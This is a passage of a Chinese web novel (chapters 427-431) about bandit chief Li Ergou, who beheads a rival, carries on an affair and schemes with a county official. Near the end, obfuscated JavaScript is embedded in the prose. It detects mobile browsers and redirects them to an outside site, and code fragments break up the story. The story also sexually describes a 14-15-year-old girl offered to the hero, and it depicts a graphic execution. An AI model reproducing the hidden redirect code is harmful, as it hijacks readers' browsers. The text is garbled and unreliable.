望冬此时恨不得找个地缝钻进去,她最不喜欢粗鲁的男人,可陈老三偏偏又这么粗鲁,也许这就是她的命。 “把你的嘴给我闭上!回家!” 望冬一把拉起陈老三,就往院外走。 陈老三嘴里嘟嘟囔囔着不走。 “狗哥,咱们接着喝。” 李二狗站起来,走到陈老三身边,拍了拍他的肩膀,说道:“老三,你永远是我最好的兄弟,这回放心了吧?赶紧回家吧。” “嘿嘿,我就知道狗哥对我最好了。” 嘟嘟囔囔的陈老三被望冬拽走了。 李素文望着他们远去的背影,感慨道:“二狗,我总觉得老三配不上望冬。” 李二狗看着酒后小脸微红的李素文,突然说道:“素文,你不会也不让我上床吧?” “滚!” 第二天上午,李二狗直接骑马去了霸虎寨,他想通过这种事前不打招呼的方式实地考察一下霸虎寨的真实情况。 霸虎寨门口站岗的土匪是最近刚刚入伙的,他们看到一个蒙面人骑着大洋马来到寨门口,便举枪把李二狗拦了下来。 “站住!干什么的?” 李二狗有心试试这两个土匪,便说道:“我是你们大当家的朋友,特地来拜访。” 一个瘦瘦巴巴的土匪说道:“找我们大当家的?我们大当家的不在这个山寨。” 李二狗故意问道:“不在这个山寨?那他去哪了?” “我们大当家的在清风寨,不在霸虎寨。” 李二狗嘴角露出一丝笑容,继续说道:“你可别骗我!清风寨是清风寨,霸虎寨是霸虎寨,怎么你们霸虎寨的大当家还在清风寨?” 瘦巴巴的土匪盯着李二狗,大白天的蒙着面,一看就是装逼贩子。 “连我们大当家的不在霸虎寨都不知道?还说是我们大当家的朋友?我看你像奸细!” 说着便一把把李二狗拉下马。 李二狗已经得到自己想要的信息,他担心脸上的面巾被他们扯下来暴露自己真实身份,便说道:“我就是清风寨大当家,赶紧去把秀才给我叫出来!” 瘦巴巴的土匪一听来人是大当家的,又直呼秀才的名字,顿时吃了一惊。 “你不会骗人吧?你真认识我们秀才当家的?” “到底认不认识,把他叫出来不就知道了?” 土匪不敢怠慢,赶紧去山寨里面通报。 很快,秀才便呼哧呼哧地跑了出来。 “狗哥,你怎么来了?也不事先打个招呼!” 李二狗笑了笑,说道:“秀才,我到自己山寨还需要打招呼吗?” 秀才吓得一激灵,急忙解释道:“狗哥,你别误会,我不是这个意思!” 李二狗继续保持着惯有的微笑,让人猜不透他的心思。 “那你是什么意思?” “我……我的意思是说,你提前告诉我,我好到山寨门口等候。” “哈哈,秀才,你狗日的怎么这么不禁逗?我和你开玩笑的。” 秀才此时已经一脑门子汗,听到李二狗的话才稍微松了一口气。 他看向守门的两个土匪,呵斥道:“真是瞎了你们的狗眼,这是咱们大当家的都不认识吗?拉下去,每人打二十军棍!” “秀才当家的饶命,饶命啊……” 两个土匪上前要把他们押下去,李二狗伸手拦住了。 “秀才,这两个兄弟警惕性非常高,不仅不能打,还得赏!” 秀才先是一愣,随即说道:“你们两个还不快点谢谢大当家的!” “谢谢大当家的,谢谢大当家的!” 两个人跪在李二狗面前,不停地磕头。 “好了,你们起来吧,你们又没犯什么错误!在咱们山寨,绝不搞特权主义、官僚主义那一套,每个人都必须遵守山寨的规定,我也不例外。” 秀才和跪在地上的两个土匪不停地点头。 秀才陪着李二狗进入霸虎寨。 不得不说,秀才确实把霸虎寨管理的井井有条。 修葺后的霸虎寨焕然一新,训练场上正在训练的土匪也是一个个生龙活虎。 “秀才,干得不错!” 得到夸奖的秀才自是喜不自胜,能独立管理一个山寨,他深感自己一身的本领终于得以施展。 “谢谢狗哥夸奖,这都是你领导的好,我只是按照你的要求,做了一些力所能及的工作罢了。” 李二狗知道,一个有能力的人表现的越是谦虚,其内心越是不容易揣测。 因为谦虚意味着他想在领导面前掩饰什么,不像陈老三那样毫无城府的人更容易被驾驭。 “秀才,秃鹫岭的事情打听清楚了吗?” “派去的人还没有回来,估计今天下午就有消息了。” 李二狗点了点头,说道:“你先去忙吧,我去山上转转。” 秀才知道李二狗要去后山的那间茅草屋坐坐,便说道:“好的,狗哥,等你回来,我再向你详细汇报一下霸虎寨的工作。” 第427章 整顿势在必行 李二狗独自一人来到山上的茅草屋。 茅草屋依然保持着原来的样子,很显然,秀才在平时没少安排人进行打扫。 李二狗对此并没有感到意外,如果秀才没安排人进行打扫,他才会感到意外。 他没有进入茅草屋,而是继续往前走,径直来到慕容雪的坟前。 不出所料,坟上和周边没有一丝杂草。 坟前栽种的大片蜀葵花早已凋谢,不过秀才安排人在坟前摆放了几盆五颜六色的菊花。 很显然,秀才猜到李二狗肯定会来给慕容雪上坟,所以提前安排人在坟前摆放了几盆鲜花。 秀才办事确实细致周到,但总让李二狗觉得太过刻意。 李二狗坐在坟前,尚未开口,已经泪流满面。 不知道什么时候,天空飘起了雨丝。 细雨打在慕容雪的墓碑上,晕开一片深色的水痕。 李二狗蹲下身子,用袖子擦去墓碑上的泥水。 “挚爱慕容雪之墓”几个大字在雨水中显得更加艳丽。 “雪儿,你还好吗?” 李二狗一边擦拭着墓碑一边嘴里呢喃着,雨水混合着泪水流下来,模糊了他的双眼。 他从怀里掏出一个油纸包,里面是两块桂花糕,这是她生前最爱的点心。 “你看,我给你带来了你最爱吃的桂花糕。” 他把糕点放在墓碑前,手指触到冰冷的石头,就像触摸到她生前那双渐冷的手。 “这些日子,我经常在梦中梦到你,”他对着墓碑絮絮叨叨,声音被雨丝割得断断续续,“我时常掰着手指头算,咱俩说的话加起来好像也没有一百句……” 风卷着雨扑打在他的脸上,凉得刺骨。 他低下头,额头抵着墓碑,冰凉的湿意渗进骨头缝里。 “我总梦到你在温泉池里,月光从洞顶射入,洒在你的脸上,可我一跑过去,你就不见了……” 后面的话被哽咽堵在喉咙里。 雨越下越大,把桂花糕泡成了糊糊,混着他滴落在墓碑前的水,直往泥土里渗。 他就那么蹲着,任由雨水浇透全身,仿佛这样,就能离地下的人近一点,再近一点。 直到暮色漫上来,他才站起身,“雪儿,我该走了,过阵子再来看你。” 转身时,衣角扫过坟前的菊花,带起一串水珠,像是谁没来得及擦拭的泪水。 浑身湿漉漉的李二狗再次来到茅草屋前,他在门前呆立很久,最终还是没有进去。 他不想打破里面的安宁,因为里面到处都是慕容雪的影子。 李二狗独自来到山下,秀才早已命人烧好了热水。 “狗哥,我已准备好了热水和一身干净的换洗衣服,你快进去洗个热水澡吧,免得着凉。” 李二狗点点头,推门走了进去。 令李二狗感到惊讶的是里面竟然有一个年轻貌美的姑娘,双手垂立,站在木桶旁边,被热气熏得脸颊通红。 从外貌来看,也就十四五岁的年纪。 她面似芙蓉,眉如柳,比桃花还要媚的眼睛十分勾人心弦,依稀有一些慕容雪的样子。 见到李二狗走进来,她的脸颊更红了。 “大当家的好。” 说着她便走到门前,伸手拉动一个布帘挡住房门,然后走到油灯前,轻轻吹灭了油灯,屋内顿时变得伸手不见五指。 李二狗尚未说话,姑娘轻声说道:“秀才当家的已经吩咐过了,大当家的请放心,我看不到您的脸。” 李二狗听到她脚步走动的声音,脚步声越来越近,李二狗已经听到她的喘息声。 当她的双手触碰到李二狗的身体时,他的身体不禁颤抖了一下。 “大当家的,让我来伺候您沐浴吧?” 她口中呼出的气息喷到李二狗的脸上,如雨后的春笋,带着泥土的芬芳和生命的活力。 她纤细的带着温度的手指一颗一颗解开李二狗身上的上衣扣子,李二狗的呼吸声都变粗了。 突然,他握住了她温暖的手。 她先是一惊,继而娇羞地说道:“大当家的,您还是先沐浴吧,沐浴之后我什么都听您的。” “姑娘,你误会了。我不习惯洗澡的时候有人在旁边伺候,请你先出去吧。” 姑娘站在原地没有动,片刻之后才怯生生地问道:“大当家的是嫌弃我吗?” “姑娘,你不要误会,我只是不习惯罢了,我又不是地主老财,不需要人在身旁伺候,你还是先出去吧。” “那我等您洗完之后再进来伺候您,大当家的请放心,我……我还是处子之身。” 李二狗差点晕倒。 他没想到秀才竟然会做出如此安排。 他今天能安排一个这样的少女伺候自己,那平时自己肯定不会洁身自好。 秀才啊秀才,这才当了几天霸虎寨寨主,心中竟已没有了敬畏之心。 这股享乐奢靡之风绝不可长! 整顿势在必行! 李二狗有心进一步打探秀才的所作所为,便故意问道:“姑娘,你是怎么来的霸虎寨?是他们把你绑来的吗?” “不是,是我自愿上山的。” 姑娘回答的很干脆,不像是在撒谎。 “自愿上山?你一个姑娘家的怎么会自愿上山当土匪?你不要怕,和我说实话,我来给你做主。” “大当家的,我真是自愿上山的,没有人勉强我。” “那你进来伺候我也是自愿的?” 姑娘沉默了。 “那就不是自愿的!” “不不不,”姑娘急忙反驳道:“我是自愿的。” “你自愿进来伺候我?你知道这意味着什么吗?” “我……”姑娘开始变得结结巴巴起来,“秀才当家的说,大当家的为了山寨的事情日夜操劳,十分辛苦,伺候好大当家的是我应尽的义务。” 李二狗没想到秀才竟是个给人洗脑的高手。 “姑娘,你先出去吧,我现在不需要你伺候,洗完之后也不需要你伺候。” “大当家的……我……” “出去吧,我会向秀才解释清楚的。” 姑娘没有办法,只能打开门走了出去。 一直躲在门外的秀才看到这个姑娘从浴室里走出来,内心突然变得不安起来。 第428章 杀无赦 李二狗沐浴更衣之后,刚走出浴室,秀才便迎了上来。 “狗哥,我已准备好了饭菜,咱们去吃饭吧?” 李二狗没有说话,只是点了点头。 秀才便在前面带路,两人来到一间装饰考究的小房间,其装修豪华程度远比胡家大院更加奢华。 李二狗皱了皱眉头,没有当场发作,但这个微小的细节还是被秀才敏锐地察觉到。 “狗哥,这是黄飞虎以前的小厨房,我觉得拆掉比较可惜,便做主留了下来,平时都锁着不用。” 秀才貌似无意的解释更加令李二狗不满。 很明显,里面很多家具和器皿都是崭新的,不可能是黄飞虎遗留下来的。 下属拍领导马屁,尽管领导内心十分不情愿,也不能当场打击下属的积极性,毕竟这代表着下属对领导的尊重。 伸手不打笑脸人! 一个拍马屁的下属不一定是好下属,但不拍马屁的下属肯定不是一个好下属! 眼里都装不下领导的下属,心里怎么可能装着其他人? “秀才,你这种节约的精神还是很好的,但留着这样一个奢华的房间,会不会让兄弟们觉得咱们当领导的和他们已经渐行渐远了?” 秀才当即反思道:“还是狗哥您高瞻远瞩,看问题更加全面,我怎么就想不到这些?您放心,回头我就命人把这个房间拆了。” 响鼓不用重锤,李二狗点到为止。 “秀才,先说说秃鹫岭的情况吧。” 秀才赶忙说道:“本来我打算亲自去秃鹫岭探听一下情况,正好咱们山寨有一个人和秃鹫岭的一个土匪是发小,我想着人多反而容易暴露,便让他一个人去了,他已经都打探清楚了。” 秀才先说一堆废话,但李二狗知道这是秀才故意说给他听的,因为在清风寨的时候,秀才向李二狗保证自己亲自去探听。 秀才真是一个心细如发的人,李二狗想想就觉得可怕。 这样的人一旦有了贰心,破坏力将是非常惊人的! “说的具体点。” “秃鹫岭现在一共有二十一名土匪,除了大当家的方天朔之外,还有一个二当家的叫药匣子,此人当土匪之前是个老中医,六十岁,是一个视色如命的老色鬼,现在充当秃鹫岭的军师。” 李二狗点了点头,夹了一块香椿芽鸡蛋放到嘴里。 秀才继续说道:“秃鹫岭现在只有九条步枪,还是老套筒,膛线都磨平了,没有轻重武器,也没有任何火炮。” 李二狗又夹了一块红烧肉放在嘴里,边吃边赞道:“秀才,这红烧肉做得不错,你别光说,也吃一块尝尝。” 秀才赶忙拿起筷子,夹了一块红烧肉放在嘴里。 “嗯,味道确实不错。” “地形怎么样?” “秃鹫岭以前是一座荒废的寺庙,位于半山腰,上山只有一条路。” “只有一条路?” “不过在山的东侧有一条小路,很少有人知道,也可以上山。” “你说的那个发小可靠吗?” “此人绝对可靠,他早就对方天朔滥杀无辜不满,已经答应做咱们的内应。” “既然你都安排好了,那今晚就带人去把秃鹫岭灭了吧!”李二狗说着拿起勺子盛了一碗老式鸡蛋汤,“这鸡蛋汤不错,你喝点尝尝。” 秀才急忙站起来,说道:“狗哥,您慢慢吃,我现在就带人去灭了秃鹫岭。” “注意安全,还有,方天朔一定要抓活的,”李二狗喝了一口鸡蛋汤,“这汤真不错,你不喝一碗尝尝?” “我不喝了,狗哥吗,事不宜迟,我现在就去。” “去吧,回来我请你喝庆功酒。” 秀才转身离去,李二狗自言自语道:“这鸡蛋汤做得味道真不错。” 吃过饭之后,李二狗便躺到旁边一张铺着老虎皮的床上睡着了。 梦里他看到了花团锦簇,知道了灯彩佳话,也梦见了百万雄兵! 天亮时,他才从睡梦中醒来。 好久没睡这么安稳的觉了。 算算时间,秀才应该回来了,之所以没听到动静,想来应该是秀才没敢来打扰他休息。 他推开门,果然看到秀才正坐在不远处的一张椅子上,身体靠在椅背上睡着了。 李二狗走过去,尽管声音很轻,秀才还是机警地醒来。 “狗哥,你睡醒了?我正要找你汇报。” 李二狗笑着说道:“不着急,再睡会吧。” 秀才早已站了起来。 “狗哥,昨晚我带领兄弟们端了秃鹫岭的老巢,方天朔以下一共二十人被全歼。” “兄弟们有伤亡吗?” “只有一个兄弟因为天黑路滑,不小心摔进一个山沟里,好在并无大碍,其他无一伤亡。” “对方什么情况?” “死亡十一人,包括药匣子,方天朔等九人被生擒,现在关在一个柴房里。” “辛苦了,秀才兄弟,晚上我给你在清风寨摆庆功酒。” 秀才谦虚地说道:“这都是狗哥领导有方,我只不过是举手之劳罢了。” 秀才永远是一副谦卑的样子。 “你先去吃早饭,然后吩咐下去,九点钟把方天朔押到聚义厅门前的广场上。” 秀才不明白李二狗要做什么,便问道:“狗哥,您这是?” “杀鸡儆猴!” 秀才感到李二狗眼里的杀气,后脊背一阵发凉。 九点钟,方天朔已经被押到广场上。 他被反剪着双手跪在广场中央,往日油亮的光头沾着泥,肥肉堆里的小眼睛瞪得滚圆。 广场上除了霸虎寨的众人之外,还有另外八个秃鹫岭的被俘土匪一字排开,跪在方天朔身后。 李二狗依旧蒙着面,双手背在身后,站在聚义厅门前,秀才站在他左边,随时听候李二狗的差遣。 李二狗看时间差不多了,便向秀才使了个眼色,他早已把要说的话提前告诉了秀才。 “方天朔!”秀才站在石阶前,声如洪钟,“你半年间屠村五次,掠妇孺百余人,严重破坏了江东的安定局面,罪大恶极,”他顿了顿,“杀无赦!” “不!你们不能杀我!”方天朔突然挣扎着想要起身,“我有大洋!有金银珠宝!都给你们!只求你们放我走!” 往日里砍人时笑出褶子的脸,此刻已拧成一团烂泥。 第429章 古人诚不欺我 围观的众人无不倒吸一口冷气,有些胆小之人已闭上双眼。 他们想不明白,一个土匪山寨的老大为何可以决定另一个土匪山寨老大的生死,更想不明白的是,杀他的理由竟是滥杀无辜! 用得词是杀无赦! 李二狗这是把自己当成江东的皇帝了! 两个土匪上前,用力地按住方天朔的肩膀。 刽子手抡起一把鬼头刀,寒光闪过的刹那,方天朔的尖叫声卡在喉咙里,只剩嗬嗬的抽气声。 刀落,血溅三尺。 跪在身后的八名土匪中,有胆小的已经当场瘫在地上,口吐白沫,抽搐不止。 胆子大一些的,裤裆里已湿了一片。 没人敢看地上那颗滚落在尘埃里的头颅,只听见山风卷着血腥味,呜呜地像是在哭。 他们不知道下一个被砍头的会不会是自己! 偌大的广场上鸦雀无声,大家都被这血腥的一幕吓坏了。 李二狗故意不说话,他就是要给大家留足回味与反胃的时间,这样才会印象深刻。 等待的过程无疑是煎熬的,尤其是那八名跪在地上的土匪。 他们都已吓得瘫在地上,有两人已经吓晕过去。 五分钟、十分钟……,李二狗咳嗽一声,才缓缓走下台阶。 广场上的血腥味还没有散尽,李二狗踩着血渍走上刚才砍头的那个高台上,他用脚踢了一下方天朔那颗还在滴血的头颅。 早上八九点钟的金色阳光映照在他脸上,显得光芒万丈,看得台下众人全部屏住了呼吸。 “大家都看清楚了!”他把方天朔的头颅又狠狠地踢了一脚,头颅“咕噜咕噜”地滚到那八名土匪身前,几个人又“呕呕呕”地呕吐起来。 “这就是滥杀无辜的下场!” 台下的众人鸦雀无声,那几个跟着方天朔作恶的土匪更是度日如年。 “从今天起,在江东县的地界上,这规矩得……改一改了!”李二狗环视四周,目光扫过每一张脸,“不管是哪路神仙,只要敢动老百姓一根手指头,我清风寨的鬼头刀,第一个不答应!” 他顿了顿,拔出腰间的手枪握在手中。 “我今天把话撂在这里,谁要是为民除害,清风寨就认他做朋友;谁要是学方天朔这畜生,我亲自送他见阎王!” “好!” 秀才突然在人群中振臂高呼,其他人见状,先是一愣,然后纷纷学着秀才的样子振臂高呼,人群里爆发出阵阵的叫好声。 “请大家替我给江东和周边地区的各位当家的传个话,”李二狗话锋一转,声音缓和了一些,“别再干那打家劫舍的勾当。清风寨马上要成立“清风集团”,开荒、种粮、跑商路,有我一口吃的,就有你们一口。” 他指着远处的群山,“跟着我,不用再提心吊胆抢地盘,也不用担心政府来清剿,让弟兄们娶上媳妇,让娃娃们能念上书,这才是正经日子!” 人群开始骚动,有喽啰在交头接耳,眼里闪着光。 李二狗把枪高高举起:“愿意走正道的,清风寨的大门一直敞开着;还想作恶的,先问问我手里这把枪!” “砰砰砰!” 李二狗连开三枪,枪声在山间回荡。 话音落地,台下响起一片叫好,大家的掌声混着呼喊声,在山谷里久久回荡。 李二狗看着群情激奋的众人,内心十分欣慰。 没有人愿意当土匪,也没有人天生就喜欢杀人越货,大家需要的只是能在这个乱世生存下去。 江东县的天,该变变了。 李二狗下令放了秃鹫岭那几个土匪,并警告他们,如果以后再做坏事,就是躲到天边也会取他们的狗命! 秀才一向认为李二狗温文儒雅,没想到竟如此杀伐果断,他脚踢方天朔头颅的景象,现在想起来还心有余悸。 “秀才,晚上到清风寨,我给你庆功。” 李二狗说完就骑马下了山。 秀才知道,晚上的事肯定不是只有庆功这么简单。 李二狗离开霸虎寨之后,直接去了江东县城。 好久没见孙竹刚,他有点想吃严婆惜包的海鲜馅饺子了。 到达县城后,他不想影响孙竹刚的工作,便没有去县政府找他,而是直接去了他家。 阎婆惜见到李二狗,双眼直冒光。 “二狗兄弟,你这段时间去哪里了?可想死嫂子了。” 李二狗嘿嘿一笑,说道:“嫂子,好久没吃你包的海鲜馅饺子了,我这馋的都不行了。” 阎婆惜笑得胸脯子一抖一抖的,才两个月没见,她又丰满了不少,李二狗想象着双手握不过来的景象,内心更加躁动。 “小馋狗,快进屋,嫂子让你吃个够。” 李二狗和严婆惜的关系比较单纯,每次见面都是直奔主题,没有情侣间卿卿我我腻腻歪歪那一套,反而令李二狗身心更加愉悦。 严婆惜就像一块干涸了整个冬天的稻田,天上下了一点雨露,她便欢快地跳起了舞…… 事后,严婆惜躺在李二狗怀里,撒娇道:“狗儿,饺子好吃吗?” 李二狗直往她怀里拱:“嫂子的饺子是天底下最美味的东西。” 严婆惜故意不满地埋怨道:“哼,净会骗人,那怎么这么久不来找人家?” 李二狗手上不老实,逗弄的她咯咯直笑。 “我最近去了趟南方,刚回来就来看嫂子了。” “真的吗?” “当然是真的,我还给你买了礼物。” 说着李二狗从床边的衣服里掏出一只金手镯,戴在严婆惜白皙的手腕上。 “喜欢吗?” 严婆惜抚摸着金光灿灿的手镯,激动不已。 “喜欢,我最喜欢的就是金子,嘻嘻。” “那嫂子怎么感谢我?” “臭小子,嫂子再给你饺子吃好不好?” “嫂子,你可真会疼人……” 两人一直折腾到太阳落山,才腰酸背痛地从床上起身。 “你大哥快下班了,我去做几个好菜,你们哥俩好好喝两盅,晚上就住在这里。” 阎婆惜说完给李二狗一个意味深长的眼神,吓得李二狗一个激灵。 三十如狼,四十如虎,古人诚不欺我! 第430章 二狗兄弟最喜欢海鲜馅饺子 孙竹刚见到李二狗,也是吃了一惊。 “兄弟,这么久没见,你到底去哪里了?我打发人到胡家大院找了你好几次,他们都说不知道你去哪了?” “哎,大哥,我这是小孩没娘,说来话长啊。”李二狗一脸严肃。 “少扯淡,快和大哥说说。” 孙竹刚这段时间快被上级逼死了,李二狗不在的时候他才更加真切地感受到自己的确离不开他。 “大哥,你先别急,我这次就是专门来向你汇报的。” “你倒是不急,大哥都快急死了。”孙竹刚一脸愁容。 这时,严婆惜满面红光地走了进来,手里提着一个茶壶。 她边倒茶边说道:“看你着急的,和二狗兄弟慢慢说。” 孙竹刚有些纳闷,最近这段时间严婆惜都是一副丧眉耷眼的样子,怎么突然就焕发了生机?仿佛一下年轻了好几岁。 “我和二狗兄弟说会话,你快去包饺子,让咱兄弟今晚留下吃饭。” 阎婆惜瞥了一眼李二狗,俏脸鲜艳欲滴。 “面已经和好了,我这就去包。” 孙竹刚特意嘱咐道:“一定包海鲜馅的,二狗兄弟喜欢。” “这还用你说?我就包了二狗兄弟最喜欢的海鲜馅饺子。” 严婆惜眉目传情,吓得李二狗不敢与她对视。 好在孙竹刚的心思全在工作上,并没有察觉到什么异常。 “二狗兄弟,你快说说你最近到底干什么去了?” 李二狗叹息一声,说道:“哎,我本想着去南方散散心,没想到正遇到国民政府派兵围剿红军根据地,差点把命丢在那里。” 李二狗一番话把孙竹刚吓得够呛。 “我说兄弟啊,你的胆子未免太大了吧?现在谁不知道国民政府正在派重兵围剿红军,你还敢跑那里去散心,不要命了?” “哎,阴差阳错,好在只是虚惊一场,大哥不必担心。” 孙竹刚紧抿着嘴唇,默默地端起茶杯呷了一口茶。 “大哥,你有什么心事,不妨和兄弟说说,咱们一起想想办法。” “哎,以前当局长的时候一门心思想当县长,现在当了县长才知道,这根本就不是他娘的人干的活!” 李二狗心知孙竹刚肯定是遇到了什么难题,在江东,如果孙竹刚不当县长,他的很多抱负将无法施展。 “大哥,你到底碰到什么难题了?” “现在有两大难题,每一个都压得我喘不过来气。” 李二狗没再说话,他没想到孙竹刚当了县长之后反而变得磨叽起来,太患得患失了。 孙竹刚看李二狗没说话,只能继续说道:“现在面临的最大难题是各种赋税收不上来,这都十月底了,还没完成省里规定数量的一半。” “怎么回事?难道有人敢抗交不成?” “这倒不是,主要是因为地都荒了,根本没人耕种,地不种哪有粮食交赋税?我都快被愁死了!” 李二狗这才想起来张二驴前几天告诉自己的情况,确实有大批农民放弃耕种土地,不是当兵就是当了土匪。 “大哥,是不是其他县里也是这种情况?” “多多少少都有一些,但江东是全省最严重的县!” “怎么会这样?” 孙竹刚瞅了一眼李二狗,一副欲言又止的样子。 “大哥,有话直说,咱们之间不必有所隐瞒。” “因为大部分人都上山当了土匪!” 此话一出,李二狗惊出一身冷汗。 “有这么多?” “江东出响马,不仅在全省,在全国都是蝎子尾巴……独一份!” “真有这么多?”李二狗还是难以相信江东会有这么多土匪,“这么多土匪都怎么生存?” “哎,这就是我遇到的第二件难事,江东不能生存,他们就会去周边地区,咱们江东周边几个县被他们嚯嚯的……哎,都去省里告咱们江东的状。” “大哥,上边这是要剿匪?” “上边天天就知道打仗争地盘,哪有心思管这种遍地都是的土匪山寨?他们命令县里自己组织武装力量剿匪!” 虽然大部分土匪山寨规模较小,有的甚至只有几个人,但他们往往占据险要地形,要想剿灭也绝非易事。 更重要的是各个县的保安团经过多次战争,大多已经名存实亡,有的还不到百十号人,警察局更是指望不上,靠这些力量剿匪,无异于天方夜谭。 再说,打仗打的是钱,县里也没有那么多的剿匪经费。 不剿匪,上边不仅会怪罪,而且没有人种地交税。 剿匪,又没人没钱。 孙竹刚陷入一个循环的死局当中,进退维谷。 李二狗倒是内心窃喜,刚想睡觉,给有人递上枕头。 “大哥,兄弟我来为你解决这两个难题。” “真的?” 孙竹刚几乎难以相信自己认为无法解决的问题,李二狗竟能轻易找到解决的办法。 “大哥,你给我三个月的时间,我帮你消灭掉大部分土匪山寨,让这些土匪乖乖回家种地。” 孙竹刚紧紧握住李二狗的手,老泪纵横。 “兄弟,哥哥都不知道该怎么感谢你了,等会你可一定要多吃点你嫂子特意给你包的海鲜馅饺子。” “大哥,这件事我尽力去做,但有些事情还需要你配合我,咱们双管齐下,才能取得明显的成效。” 孙竹刚保证道:“兄弟放心,我一定全力配合你。” 这时,阎婆惜扭动着丰腴的屁股来到客厅。 “聊什么呢?这么开心?菜炒好了,你们哥俩边吃边聊吧。” “兄弟,今晚哥哥得多敬你两杯,晚上就住这里。” 李二狗瞥了一眼笑眯眯的阎婆惜,说道:“又得麻烦嫂子了,实在是不好意思。” “都是一家人,二狗兄弟千万别客气。” 孙竹刚率先走向餐厅,李二狗走在身后,趁阎婆惜不注意,掐了一下她的屁股。 她忍不住叫了出来。 孙竹刚回头埋怨道:“怎么了?大惊小怪的?” 严婆惜脸颊通红,转而埋怨道:“和你说了好几次,把这块不平的地板修一下,你就是不听,刚才差点摔倒。” 李二狗笑道:“这点小事,何必麻烦大哥,明天我给嫂子修好。” 第431章 我李二狗绝不做无情无义之人 严婆惜殷勤地给两人倒满了两杯酒。 “二狗兄弟,今晚你可要多喝两杯吆。” 她的声音百转千回,令李二狗心神荡漾。 “嫂子,酒能助兴,你也喝一杯吧?”李二狗故意问道。 孙竹刚笑道:“你嫂子她沾酒就倒,喝了酒怕是要出洋相,哈哈。” 严婆惜拿眼狠狠地剜了孙竹刚一眼,继而转头笑眯眯地看向李二狗。 “二狗兄弟,我就不喝了,你们喝吧,我去给你包饺子吃。” 严婆惜嘴里说的是你而不是你们,显然并没有把孙竹刚放在心上。 李二狗笑道:“我最喜欢吃嫂子给我包的饺子了,现在都有些等不及了,嘿嘿。” 严婆惜娇羞一笑,说道:“待会儿让你吃个够。” “好东西吃起来还有够吗?嘿嘿。” 只有两人听懂的调情,孙竹刚根本听不出来。 严婆惜扭动着纤细的腰肢去了厨房。 孙竹刚端起酒杯,说道:“兄弟,来,大哥敬你一杯。” 李二狗急忙收回盯着严婆惜的眼神,举杯和孙竹刚一碰,两人一饮而尽。 “兄弟,你赶紧给大哥说说,你到底有什么办法?” 李二狗一副高深莫测的样子。 “大哥,本来我都答应**爹吴有德,准备去省城帮他料理生意,你也知道,吴爷年纪大了,无儿无女,只有我一个干儿子,他老人家视我为己出,我真的不想让他老人家再伤心,可现在……哎,大哥,我真的好为难。” 孙竹刚急忙说道:“兄弟,你可千万不能走啊,大哥我现在离不开你。” “可吴爷他老人家……” 李二狗表现的相当为难,眼泪已经在眼眶里打转。 “兄弟,我知道吴爷的产业相当庞大,没有人能经受得住这种诱惑……” 孙竹刚话未说完,李二狗打断道:“大哥,我可不是贪图吴爷的产业!我李二狗岂是那种贪图钱财之人。” 孙竹刚自觉失言,赶忙解释道:“兄弟,你别误会,大哥不是那个意思,你早一天晚一天去省城影响并不大,可我现在真得需要兄弟留下来帮我啊。” 李二狗神色严峻,突然他一拍桌子,吓得孙竹刚一个激灵。 “大哥请放心,我就是走也得等大哥渡过这个难关,我李二狗绝不做无情无义之人。” 孙竹刚感动的涕泪横流,举起酒杯说道:“好兄弟,你对大哥的好,大哥记你一辈子,来,咱们再干一杯。” 两人又喝了一杯,孙竹刚心里始终惦记着那两件难事。 “兄弟,你到底有什么计划,快点和大哥说说吧,我也好做到心里有数。” 李二狗习惯性地微微一笑。 “大哥,我想整合江东县及周围地区的各股土匪武装,你觉得怎么样?” “整合?怎么整合?” “歼灭一批,吞并一批,解散一批,把江东县及周边地区的土匪武装整合成一个集团。” 孙竹刚知道,整合之后的土匪集团,李二狗肯定是一把手。 在江东县有这么一支强大的武装力量,自己这个县长将会面临极大的威胁。 虽说李二狗是自己的兄弟,但亲兄弟为了利益都会反目,更何况他们只是异姓兄弟。 “兄弟,这样做会不会太显眼了?我担心省里不会允许这样一个土匪武装集团存在。” 李二狗对孙竹刚心里的小九九心知肚明。 “大哥,你别忘了,省政府的夏主席和**爹吴有德是世交,再说了,现在上边都忙着打仗抢地盘,谁会花费巨大代价来剿灭土匪?” 孙竹刚这才清醒地认识到,即使李二狗不依靠自己,凭他在省里的关系,一样可以在江东县手眼遮天。 他唯有抱紧李二狗这条大腿,才能在江东有所作为。 “兄弟,那我需要怎么配合你?” “大哥,你明天就安排县里下一个通牒,让各个山寨的土匪限期十日内就地解散,之前的事情便可以既往不咎,十日后,对拒不解散的山寨,县保安团将逐个剿灭。” 孙竹刚没想到李二狗竟是这么一个主意,县政府的通牒要是管用,自己何必如此犯愁?! “他们会听吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385160|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 孙竹刚心中清楚,政府下的所谓通牒,对土匪来说根本没有任何威慑力。 自古**势不两立,他们当初敢选择上山落草为寇,就已经做好了和政府为敌的准备。 “大哥,你放心,通牒下发之后,我会采取一系列行动来配合你。” 孙竹刚稍微松了一口气,李二狗是一个走一步看十步的主,他肯定已胸有成竹。 “兄弟,那赋税的事怎么办?你也知道,各个县收上来的赋税是要统一上缴南京的,这是硬杠杠,必须完成。即使那些人现在回家种地,今年想把赋税收上来也是十分困难。” “大哥,那些不种地的农民其实自身并没有多少土地,大部分土地还是掌控在地主富农手中,他们租出去的土地,即使自己收不上来租金,但该交给政府的赋税还是不能少。” 孙竹刚叹息道:“我都派人去催了,他们不是不交,就是说现在没有,一直拖着。” “大哥,你还记得王正直吗?人不逼到一定的份上,肯定是没有办法的。” 孙竹刚又怎能不知道那些手段,他本身就是敲竹杠的高手。 可自从他当上县长之后,私下从全县地主富豪身上私下拿了很多好处,拿人钱财再去逼人家,不符合他为人处世的原则。 “兄弟说得对,但有些地主家里确实没有余粮了,咱们也不能把他们逼死不是?” 李二狗心想,看来孙竹刚私下和这些地主关系处得不错。 “大哥,我还有个办法,你以剿匪的名义向省政府申请一笔专项资金,这笔资金可以先抵扣赋税,等明年把赋税收上来,再把这块资金补上。” 孙竹刚眼前一亮,心想,这笔资金要是申请下来,以后岂不是能装进自己的口袋? 